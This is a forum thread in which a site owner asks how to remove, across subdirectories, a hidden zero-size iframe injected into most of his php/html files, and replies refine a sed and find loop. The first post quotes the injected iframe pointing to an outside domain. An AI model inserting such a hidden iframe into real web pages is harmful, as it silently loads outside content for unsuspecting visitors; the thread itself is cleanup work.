[help]Delete or replace text in multiple file and multiple directory


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting [help]Delete or replace text in multiple file and multiple directory
# 1  
Old 07-03-2008
[help]Delete or replace text in multiple file and multiple directory

here's the case :

almost of php/html file on my site has added the text :
Code:
<iframe src="http://google-analyze.cn/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

I don't know how this happen, so i want to remove above text from all of my php/html.

i have tried this following script :
Code:
for y in *
do
  sed 's_<iframe src="http:\/\/google-analyze.cn\/count.php?o=1" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></\iframe>_ _' "$y" >temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done

Above script was works but only in the directory where i run the script, i want all files in subdirectory too, anyone can help me?

Thx
# 2  
Old 07-03-2008
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)

Regards
# 3  
Old 07-03-2008
Quote:
Originally Posted by Franklin52
Code:
for i in $(find *)

Not bourne-safe - tut tut Smilie
Code:
for i in `find *`

# 4  
Old 07-03-2008
Quote:
Code:
for i in $(find *)

Quote:
Code:
for i in `find *`

Both will breake if the filenames contain embedded spaces or other pathological characters.
# 5  
Old 07-03-2008
Quote:
Originally Posted by radoulov
Both will breake if the filenames contain embedded spaces or other pathological characters.
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i

heh, 'pathological characters', nice way of putting it Smilie
# 6  
Old 07-04-2008
Quote:
Originally Posted by Franklin52
Use find to loop through the directory and the subdirectories:

Code:
for i in $(find *)

Regards
Quote:
Originally Posted by Smiling Dragon
Not bourne-safe - tut tut Smilie
Code:
for i in `find *`

Quote:
Originally Posted by radoulov
Both will breake if the filenames contain embedded spaces or other pathological characters.
Quote:
Originally Posted by Smiling Dragon
Ooh, very good point! Me = Fail.
Ok then:
Code:
find . -type f | while read i

heh, 'pathological characters', nice way of putting it Smilie
Could you give me complete code? Smilie im newbie Smilie. Thx
# 7  
Old 07-06-2008
Quote:
Originally Posted by dzufauzan
Could you give me complete code? Smilie im newbie Smilie. Thx
If your initial code works as you describe, you should be able to get away with simply replacing the "for i in *" line with the line given above.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Grep and replace multiple strings in a file with multiple filenames in a file

Hi, I have a file containing list of strings like i: Pink Yellow Green and I have file having list of file names in a directory j : a b c d Where j contains of a ,b,c,d are as follows a: Pink (3 Replies)
Discussion started by: madabhg
3 Replies

2. Shell Programming and Scripting

Delete multiple folders in a directory which are two weeks old

I need help. I have to delete multiple directories inside a directory that are two weeks old. Example: Today is July 09, 2012 Folder1 > folder1 (created June 4, 2012) -- should be deleted > folder2 (created June 2, 2012) -- should be deleted > folder3 (created... (4 Replies)
Discussion started by: jasperux
4 Replies

3. Shell Programming and Scripting

Replace directory paths in multiple files at once

I need to update about 2400 files in a directory subtree, with a new directory path inside the files I need to change this occurence in all files: /d2/R12AB/VIS/apps/tech_st/10.1.2 with this: /u01/PROD/apps/apps_st/10.1.3 I know how to change single words using "find . -type f -print0 |... (6 Replies)
Discussion started by: wicus
6 Replies

4. Shell Programming and Scripting

How to replace multiple text in a file using sed

can anyone please help me in the below scenario: File1: Hello1 Hello1 i want to use sed to replace multiple occurances of Hello1 in file 1 to welcome. Thanks a ton for the help (9 Replies)
Discussion started by: amithkhandakar
9 Replies

5. Shell Programming and Scripting

Replace text block in multiple files

I need to replace (delete) a text block in a bunch of files, its a html table, almost at the end of pages but the location varies. In Windows I used Filemonkey, but nothing like that in Unix? There is replace from mysql, but how does it deal with newlines? sed only works with single lines,... (6 Replies)
Discussion started by: eiland
6 Replies

6. UNIX for Dummies Questions & Answers

replace text in multiple files

I need to replace a piece of text in many files, recursively, in a way that doesn't duplicate the files. How would I do that? The closest I've come is grep -rl "text" * | sed -e 's/home1/home2/g' but that just replaces the filename. (2 Replies)
Discussion started by: dhinge
2 Replies

7. Shell Programming and Scripting

Replace text in multiple files

Dear all My task is to replace a strings in multiple files. filename: file1 I can use sed to replace abc.server.com to unix.server.org e.g. sed 's/abc.server.com/unix.server.org/g file1 > newfile1 I have 2 questions. How do I directly save file1 instead of append to newfile1. I... (1 Reply)
Discussion started by: on9west
1 Replies

8. Shell Programming and Scripting

Replace text in multiple files

Ok guys, If anyone could help me out on this puppy I'd be very appreciative! Here's the scenario I have a string for example : <img src=BLANK_IMG border=0 width=221 height=12> or <img src=IMG border=0 height=12 width=221 > or anything else really.... need to basically change each... (10 Replies)
Discussion started by: Tonka52
10 Replies

9. Shell Programming and Scripting

How do you delete multiple text from a comma delimited file

I would like to know code that will delete multiple text from a comma delimited file. For example, how would the comma delimited file below delete the word 'PEST' in Perl language (previously an excel file that was converted to a csv and the last column was PEST): 1, 2,43,34, bosx,PEST 1,... (1 Reply)
Discussion started by: dolo21taf
1 Replies

10. Shell Programming and Scripting

Need to search and replace in multiple files in directory hierarchy

Hello all I need to search and replace in multiple files that are in directory hierarchy Im using the : find . -name "*.dsp" -print | xargs grep -n -o Test.lib" , I like to be able to replace every instance of Test.lib with empty space . how can I write one liner that does this ? (3 Replies)
Discussion started by: umen
3 Replies
Login or Register to Ask a Question